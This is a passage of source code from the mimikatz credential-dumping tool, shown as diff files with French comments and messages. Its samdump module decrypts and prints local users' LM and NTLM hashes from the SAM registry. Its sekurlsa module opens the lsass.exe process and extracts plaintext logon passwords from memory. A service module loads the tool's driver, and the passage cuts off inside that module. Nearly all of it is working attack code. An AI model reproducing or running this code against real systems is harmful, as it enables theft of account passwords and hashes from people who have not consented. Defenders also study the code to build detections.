code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret);
if(code == ERROR_SUCCESS)
{
wchar_t monBuffer[8 + 1];
DWORD maTaille = 8 + 1;
code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if(code == ERROR_SUCCESS)
swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)]));
else wcout << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
RegCloseKey(monSecret);
} else wcout << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
}
RegCloseKey(monLSA);
} else wcout << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl;
if(reussite = (code == ERROR_SUCCESS))
mod_hash::getBootKeyFromKey(bootkey, key);
return reussite;
}
bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet)
{
bool reussite = false;
string * selectKey = new string(*rootKey); selectKey->append("\\Select");
string * nDefault = new string("Default");
int longueur = 0; unsigned char *buffer = NULL;
if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur))
{
if(reussite = (longueur == sizeof(DWORD)))
*nControlSet = *(DWORD *) (buffer);
delete[] buffer;
}
delete nDefault, selectKey;
return reussite;
}
bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10])
{
bool reussite = false;
wstring * computerName = new wstring();
if(mod_system::getComputerName(computerName))
wcout << L"Ordinateur : " << *computerName << endl;
delete computerName;
if(reussite = getBootKeyFromReg(bootkey))
wcout << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
return reussite;
}
bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10])
{
bool reussite = false;
DWORD code;
HKEY maSAM;
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM);
if(code == ERROR_SUCCESS)
{
DWORD tailleRequise = 0;
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise);
if(code == ERROR_SUCCESS)
{
BYTE * bufferF = new BYTE[tailleRequise];
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise);
if(code == ERROR_SUCCESS)
{
BYTE hBootKey[0x10] = {0};
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
{
HKEY mesUsers;
code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers);
if(code == ERROR_SUCCESS)
{
DWORD nombreUsers = 0, tailleMaxSousCle = 0;
code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL);
if(reussite = (code == ERROR_SUCCESS))
{
tailleMaxSousCle++;
wchar_t * monRid = new wchar_t[tailleMaxSousCle];
for(DWORD i = 0; i < nombreUsers ; i++)
{
DWORD tailleRid = tailleMaxSousCle;
code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL);
if(code == ERROR_SUCCESS)
{
if(_wcsicmp(monRid, L"Names") != 0)
{
HKEY monUser;
code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser);
if(reussite &= (code == ERROR_SUCCESS))
{
DWORD tailleF = 0, tailleV = 0;
if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) &&
(RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS))
{
mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]);
mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]);
if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) &&
(RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS))
infosFromUserAndKey(userF, userV, hBootKey);
delete[] userF, userV;
}
RegCloseKey(monUser);
}
}
} else wcout << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl;
}
delete[] monRid;
}
RegCloseKey(mesUsers);
} else wcout << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl;
}
} else wcout << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl;
delete[] bufferF;
} else wcout << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl;
RegCloseKey(maSAM);
} else wcout << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl;
return reussite;
}
void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10])
{
wstring hashLM, hashNTLM;
mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false);
mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true);
wcout << endl <<
L"Rid : " << userF->UserId << endl <<
L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl <<
L"LM : " << hashLM << endl <<
L"NTLM : " << hashNTLM << endl
;
}

View File

@ -0,0 +1,34 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_hive.h"
#include "mod_hash.h"
#include "mod_system.h"
#include <iostream>
#include <sstream>
class mod_mimikatz_samdump
{
private:
static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet);
static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName);
static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]);
static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]);
static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]);
static bool getBootKeyFromReg(BYTE bootkey[0x10]);
static bool getInfosFromReg(BYTE bootkey[0x10]);
static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]);
static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool bootkey(vector<wstring> * arguments);
static bool full(vector<wstring> * arguments);
};

View File

@ -0,0 +1,347 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mod_mimikatz_sekurlsa.h"
HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
bool mod_mimikatz_sekurlsa::lsassOK = false;
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
return monVector;
}
bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
{
if(searchLSASSDatas())
getLogonData(arguments, &GLOB_ALL_Providers);
else
wcout << L"Données LSASS en erreur" << endl;
return true;
}
bool mod_mimikatz_sekurlsa::loadLsaSrv()
{
if(!hLsaSrv)
hLsaSrv = LoadLibrary(L"lsasrv");
if(mesModules.empty())
{
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
}
return (hLsaSrv != NULL);
}
bool mod_mimikatz_sekurlsa::unloadLsaSrv()
{
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
if(*testModule->pModuleEntry)
delete *testModule->pModuleEntry;
if(mod_system::GLOB_Version.dwMajorVersion < 6)
mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
else
mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
if(hLSASS)
CloseHandle(hLSASS);
if(hLsaSrv)
FreeLibrary(hLsaSrv);
return true;
}
bool mod_mimikatz_sekurlsa::searchLSASSDatas()
{
if(!lsassOK)
{
if(!hLSASS)
{
mod_process::KIWI_PROCESSENTRY32 monProcess;
wstring processName = L"lsass.exe";
if(mod_process::getUniqueForName(&monProcess, &processName))
{
if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
{
vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
{
for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
{
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
{
if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
{
GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
*testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
break;
}
}
}
} else {
wcout << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
CloseHandle(hLSASS);
hLSASS = NULL;
}
} else wcout << L"OpenProcess : " << mod_system::getWinError() << endl;
} else wcout << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
}
if(hLSASS)
{
MODULEINFO mesInfos;
if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
{
localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
localLSASRV.modBaseSize = mesInfos.SizeOfImage;
if(!SeckPkgFunctionTable)
{
struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
}
lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
}
}
}
return lsassOK;
}
PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
{
PLIST_ENTRY resultat = NULL;
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
PLIST_ENTRY pStruct = NULL;
if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
{
while(pStruct != pSecurityStruct)
{
if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
{
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
{
resultat = pStruct;
break;
}
} else break;
pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
}
}
delete [] monBuffer;
return resultat;
}
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
{
PVOID resultat = NULL;
RTL_AVL_TABLE maTable;
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
return resultat;
}
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
{
PVOID resultat = NULL;
RTL_AVL_TABLE maTable;
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
{
if(maTable.OrderedPointer)
{
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
{
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
resultat = maTable.OrderedPointer;
}
delete [] monBuffer;
}
if(!resultat && maTable.BalancedRoot.LeftChild)
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
if(!resultat && maTable.BalancedRoot.RightChild)
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
}
return resultat;
}
void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
{
if(mesCreds)
{
if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
{
wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory);
wstring rUserName = (isDomainFirst ? domainName : userName);
wstring rDomainName = (isDomainFirst ? userName : domainName);
if(justSecurity)
{
if(!pos)
wcout << password;
else
wcout << endl <<
L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
}
else
{
if(!pos)
wcout << endl <<
L"\t * Utilisateur : " << rUserName << endl <<
L"\t * Domaine : " << rDomainName << endl <<
L"\t * Mot de passe : " << password;
else
wcout << endl <<
L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl <<
L"\t Domaine : " << rDomainName << endl <<
L"\t Mot de passe : " << password;
}
}
} else wcout << L"n.t. (LUID KO)";
}
bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
{
PLUID sessions;
ULONG count;
if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
{
for (ULONG i = 0; i < count ; i++)
{
PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
{
if(sessionData->LogonType != Network)
{
wcout << endl <<
L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
{
wcout << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t';
monProvider->first(&sessions[i], mesArguments->empty());
wcout << endl;
}
}
LsaFreeReturnBuffer(sessionData);
}
else wcout << L"Erreur : Impossible d\'obtenir les données de session" << endl;
}
LsaFreeReturnBuffer(sessions);
}
else wcout << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
return true;
}
bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
{
bool resultat = false;
BYTE * monBuffer = NULL;
PBYTE * leBuffer = buffer ? buffer : &monBuffer;
if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
{
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
{
if(dstChaine)
dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
}
}
if(monBuffer)
delete[] monBuffer;
return resultat;
}
bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
{
if(searchLSASSDatas())
{
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
{
#ifdef _M_X64
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
#elif defined _M_IX86
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
#endif
ULONG maTaille = 0;
NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
DWORD nbPossible = 0;
for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
{
MEMORY_BASIC_INFORMATION mesInfos;
if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
{
if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
{
UNICODE_STRING donnees[3];
for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
{
if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
{
if(
(donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
(donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
(donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
)
{
wstring user, domain, password;
BYTE * bPassword = NULL;
if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
{
if(bPassword)
{
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
}
wcout << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
}
if(bPassword)
delete[] bPassword;
}
}
}
}
pMemoire += mesInfos.RegionSize;
}
else break;
}
}
}
else wcout << L"Données LSASS en erreur" << endl;
return true;
}

View File

@ -0,0 +1,64 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_memory.h"
#include "mod_process.h"
#include "mod_text.h"
#include "mod_system.h"
#include <iostream>
#include "secpkg.h"
#include "LSA Keys/keys_nt5.h"
#include "LSA Keys/keys_nt6.h"
#include "Security Packages/msv1_0.h"
#include "Security Packages/tspkg.h"
#include "Security Packages/wdigest.h"
#include "Security Packages/kerberos.h"
#include "Security Packages/livessp.h"
#include "Security Packages/ssp.h"
class mod_mimikatz_sekurlsa
{
public:
typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity);
private:
typedef struct _KIWI_MODULE_PKG_LSA {
wchar_t * moduleName;
wchar_t * simpleName;
PFN_ENUM_BY_LUID enumFunc;
mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry;
_KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {}
} KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA;
static bool lsassOK;
static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers;
static vector<KIWI_MODULE_PKG_LSA> mesModules;
static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL);
static bool getLogonPasswords(vector<wstring> * arguments);
static bool searchPasswords(vector<wstring> * arguments);
public:
static HANDLE hLSASS;
static HMODULE hLsaSrv;
static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV;
static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable;
static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind);
static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL);
static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders);
static bool loadLsaSrv();
static bool unloadLsaSrv();
static bool searchLSASSDatas();
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
};

View File

@ -0,0 +1,190 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_service.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_service::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un service ou pilote"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz"));
return monVector;
}
bool mod_mimikatz_service::start(vector<wstring> * arguments)
{
wcout << L"Démarrage de \'";
return genericFunction(mod_service::start, arguments);
}
bool mod_mimikatz_service::stop(vector<wstring> * arguments)
{
wcout << L"Arrêt de \'";
return genericFunction(mod_service::stop, arguments);
}
bool mod_mimikatz_service::remove(vector<wstring> * arguments)
{
wcout << L"Suppression de \'";
return genericFunction(mod_service::remove, arguments);
}
bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments)
{
if(!arguments->empty())
{
wcout << arguments->front() << L"\' : ";
if(function(&arguments->front(), NULL))
wcout << L"OK";
else
wcout << L"KO ; " << mod_system::getWinError();
wcout << endl;
}
else wcout << L"(null)\' - KO ; Nom de service manquant" << endl;
return true;
}
bool mod_mimikatz_service::list(vector<wstring> * arguments)
{
bool services_fs_drivers = true;
bool services = false;
bool fs = false;
bool drivers = false;
bool allstate = true;
bool running = false;
bool stopped = false;
vector<mod_service::KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>();
if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front())))
{
for(vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++)
{
if(
(
(services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) ||
(fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) ||
(drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) ||
(services_fs_drivers)
)
&&
(
(running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) ||
(stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) ||
(allstate)
)
)
{
if(monService->ServiceStatusProcess.dwProcessId != 0)
wcout << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId;
wcout << L'\t';
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS)
wcout << L"INTERACTIVE_PROCESS" << L'\t';
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)
wcout << L"FILE_SYSTEM_DRIVER" << L'\t';
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)
wcout << L"KERNEL_DRIVER" << L'\t';
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS)
wcout << L"WIN32_OWN_PROCESS" << L'\t';
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS)
wcout << L"WIN32_SHARE_PROCESS" << L'\t';
switch(monService->ServiceStatusProcess.dwCurrentState)
{
case SERVICE_CONTINUE_PENDING:
